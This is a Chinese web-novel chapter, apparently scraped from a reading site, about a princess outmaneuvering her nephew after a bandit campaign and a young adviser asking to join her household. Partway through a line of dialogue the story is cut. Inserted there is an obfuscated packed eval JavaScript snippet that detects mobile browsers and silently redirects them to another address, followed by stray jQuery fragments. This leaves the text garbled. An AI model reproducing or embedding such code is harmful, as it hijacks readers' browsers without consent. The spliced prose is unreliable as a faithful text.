默认冷灰
24号文字
方正启体

3. 第 3 章

作者:一半春止本书字数:K更新时间:
    沈栋又瞧了眼她鬓边的芍药,刚掩去的怒意险些没控制住。


    深吸了口气又接着道:“听闻姑母今日身子不适,本不该叨扰,实在是事关白洪山,侄儿不得不来。”


    “无妨,国事为重,究竟是出了何事?皇侄竟担忧至此。”沈泠将鬓边的芍药摘下,特意捏在手里把玩,半分不见焦色。


    沈栋见她如此,便也不再兜圈子,“今日我刚得了消息,我府中的那位谋士刘贲,还有我举荐同去的武德将军张榷,此二人恐有不妥,也怪侄儿识人不清。”


    说完他就等着沈泠问其中缘由,等了半天也不见人出声,抬眼只看见沈泠意味不明的看着他。


    只能黑着脸自顾自地接着往下说,“今日府中下人在打扫刘贲房间时,发现了他与那白洪山匪还有张榷的往来信笺,我才知他二人与那山匪头目早有勾结。这二人城府颇深,竟连侄儿也险些被他瞒了去。”


    沈泠看着她那位比她还长了两岁的皇侄,在那里演了半天独角戏。


    半晌,洋装惊讶道:“哦?竟有此事,那皇侄可禀了皇兄?”


    沈栋又将怒意压了压,沉声道:“不曾,白洪山之事毕竟是我与姑母合力,如今我这边出了岔子,侄儿受罚是小,但恐误了战事,辜负了父皇的期望,又连累了姑母,自是要先来告知,姑母也好赶紧去信前线言明此事,此后再同去宫中向禀明。”


    这话说的滴水不漏,不知又是他府中哪位谋士的谏言。她与他同去,便不是他一人的辩解,而是他二人的陈情。


    如此一来,他不仅撇清了嫌疑,还显得处事妥当、颇为识大体。


    “还是皇侄考虑的周到,我即刻去信白洪山。”沈泠并未拆穿他。


    前世,便是他坐实了勾结山匪的罪名,皇帝也没有将他怎样,沈泠清楚地知道,他身后拥护者不倒,谋士不散,他便不会倒。


    若此时拆穿无异于打草惊蛇,必遭反噬。


    沈泠在等,等他的府臣散尽,臂膀尽断之时,再将他一击毙命。


    半刻钟后,她与沈栋进宫向东武帝禀明此事。


    他毕竟是东武帝亲子,沈泠都不疑,皇帝也无意深究。


    不过佯怒斥了他几句,治了个失察之罪,罚俸半年,便轻轻放过。


    沈泠知道,沈栋所犯之事,若非事关东武帝的江山,危及他的皇位,他必不会轻易动他这个独子。


    既如此,那便让他皇位不稳,江山倾颓。


    次日傍晚,李振那边便来了密报,说白洪山匪头已捕,明日便可启程返京。


    不过几日功夫,院里的芍药开的愈发盛了。


    这几日,沈泠闲来无事带着粟玉在园子里闲逛。


    瞧瞧这个花儿那个朵儿的,还摘了不少樱花,说是要做樱花酪。


    只是她实在是没有这方面的天分,做出来的东西竟无人愿意吃。


    沈泠不服,又多做了几次。


    粟玉几次劝阻无果,最后,倒是池子里的鲤鱼肥了两圈。


    她还命人扎了两个秋千,离上次摆在院里的春椅很近。玩累了便躺在春椅上晒太阳,好不惬意。


    算算时间,白洪山离京都也不过四五日脚程,温行等人应是今日便可抵京了。


    今日一早粟玉吩咐膳房准备庆功宴,又让人将全府上下清扫一遍,连塘里的落叶都捞了上来,忙活了大半日,恨不能在满府下人脑门上都贴个喜字。


    沈泠见她忙的脚不沾地,便打趣她,“知道的是我府臣凯旋,不知道还以为是我们粟玉的婚宴呢,竟比我这个主子还要上心。”


    “殿下,您就莫要取笑奴了。”粟玉红着脸道。


    “大皇子往日仗着陛下宠信,从不将您放在眼中,此次他吃了败仗,奴替殿下开心。”粟玉说着,笑的眉眼弯弯。


    沈泠见她这般也被感染了几分,早早便去了主殿。


    春望山楹,石暖苔生。殿外一片春色,无限生机。


    不多时府门外便传来马踏声。


    沈泠起身去迎,远远瞧见,李振策马在前,温行竟也是驾马归,伤势恢复的这样快。


    他二人后面浩浩荡荡地还有十几人。战事毕,兵权便被收归朝廷,这一行人皆是李振心腹。


    马蹄飞扬,踏起街边轻尘。


    少年马尾高束,风拂过,绛红色发带混着发梢扬起,间或扫在他脸上,如天边的晚霞,只教人移不开眼睛。


    他正单手策马,明明刚历了战事又身受重伤,却依旧是白衣不染,落日金丝裹着他,更胜此间春色。


    待离她近了,他便与李振一同下马朝她走来。


    不过二十余日未见,温行好像又长高了些,皎如玉树临风。


    沈泠忽的有种‘吾家有女初长成’的感觉。


    温行的容貌实在太过惹眼,白洪山践行宴上沈俪初见后,便几次三番的派人向她打探。


    沈俪毕竟是当朝公主,现下是她的侄女,日后大半也是她的敌人,沈泠也只能先应付着,据而不答。


    “殿下,末将幸不辱命。”李振单膝跪地握拳拱手道。


    “快请起,本宫已在府内设宴,稍后便为将军庆功。”


    沈泠说罢又看向一旁同样跪着的温行。


    她抬手示意温行起身,又道:“伤势如何?怎不备车轿?”


    沈泠话音刚落,便见温行黑白分明的眸子有片刻黯然,稍纵即逝。


    沈泠心下稍惊,不自觉扭头看了眼李振,李振示意并无不妥。


    不等她辨认,他便恢复如常,“谢殿下关怀,温行伤势无碍,不愿车轿拖缓回程。”


    她这才心安,想是自己做了亏心事,便有些惊弓之鸟罢了。


    “无事便好。”


    沈泠应了声,正准备迈步向府内走去,温行却出声叫住了她。


    “殿下。”


    沈泠身子僵了僵,回头瞧他,“何事?”


    他眸底有几分挣扎,“可否借一步说话。”


    语气有些颤抖,还带着祈求,不像责问,倒像是有事要求她。


    沈泠便吩咐李振等人先去宴上,自己则与温行一同至府内便殿。


    方至便殿,沈泠并未入座,只站在殿中,示意温行直言。


    温行只隔着一步的距离,在她面前站定,却看着她不说话。


    他的目光落在她脸上,像是审视又像是其他的什么,沈泠辩不清楚。


    只是往日不曾瞧过他这样。


    他直视她,并未移开目光。


    沈泠皱眉,正要出声,他却垂头温声道:


    “殿下,温行的命是殿下救的,此生只愿追随殿下。”话毕,他抬眼看向沈泠,好看的眸中隐有水光。


    怎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142329|164538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的突然说起这些?沈泠刚放下的心又提起。


    尚不知他究竟是何意,只含糊道:“本宫自然知道,你与你兄长,皆是本宫心腹。”


    温行敛了敛长睫,眸中的湿意散了几分。


    离近了看还是能瞧出他不久前重伤的,唇色要比往日轻许多,只余淡淡的粉色。


    少年人正是长身体的时候,身高一天一个样,此时他堪堪比沈泠高出一个头。


    此刻他二人离得近,沈泠仰头看他有些费力,不由往后退了一步。


    温行见他后退,不知是误解了什么,竟双膝跪地,刚散去的湿意又在眼中聚拢,有些急切道:“温行既为长公主府谋士,能否也像府内其他谋士那般居长公主府?温行愿受殿下管束。”


    听出他语气诚恳、温顺。


    沈泠看他眼中又欲夺眶的泪滴,总觉得好像她欺负了他似的。


    这几年他的确是变了很多,从样貌到性格。


    她初见他时,他不过十二岁,满身戒备,明明是困兽的处境,眼神偏却含了刀子似的狠戾。


    如今,竟丝毫没了棱角,性子也变得这样软。


    四年过去了,他与温挣早已不必再掩人耳目。


    沈泠顺着他道:“如此也好,日后谋事也方便,你同你兄长一同搬来罢。”


    东昭国各皇子皇女府下皆可设府臣、谋士。大部分谋士皆赐居府外,少部分得以重用的才会被招揽进府。


    温行此番想必是为了讨赏。


    “谢殿下。”温行起身,眉也稍稍舒展开来,不似方才纠结在一处。


    沈泠想了想,又对温行道:“你兄长前几日受了风寒,病的颇重,不过现下已大好了,前几日我进宫,得了些龟龄集,宴后给你兄长带回去,他向来体弱,要好好补一补。”


    温行刚舒展开的眉眼微微一愣,“是。”


    他应该是在挂心兄长的身体吧?竟忘了谢恩。


    “你不必担心,我从宫中给他请了御医,现下已经大好了。”沈泠见他如此又补充道。


    温行却又低了头,长睫敛下,她看不清神色,半晌听见他道:


    “殿下竟如此费心。”语气平淡,听不出什么。


    沈泠斟酌道:“那是自然,你兄长的身体自然是最紧要的。”


    这下他彻底没了声。


    正当沈泠准备起身去宴席时,又听他道:“多谢殿下赐的龟龄集,兄长体弱,多补补是应该的,温行这次在白洪山只是受了些皮外伤,倒是不打紧。”


    沈泠听到他提起在白洪山受伤的事,莫名不想多言。


    只应了他一声不必客气,就朝殿外走去。


    沈泠与温行回到宴上时,李振与他的几个副将正端坐于席上,却并未开宴。


    见沈泠进来,皆起身行礼。


    殿中舞姬刚好舞罢一曲,此刻又跳起了署宴赋,舞姿轻盈曼妙,伴随着鼓点如铮铮凯旋之音。


    沈泠示意温行入座,自己也行至主位坐下。


    “将军不必拘礼,请入座。”沈泠举杯,座下皆应。


    “诸位此番剿匪,除我东昭之瘤。实乃东昭功臣,不日进宫必得厚赏。”


    “老臣恭贺殿下,有殿下这番明主,是我等之幸。”李振复又起身向沈泠拱手。


    “臣等恭贺殿下……”殿中恭贺声不绝于耳。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)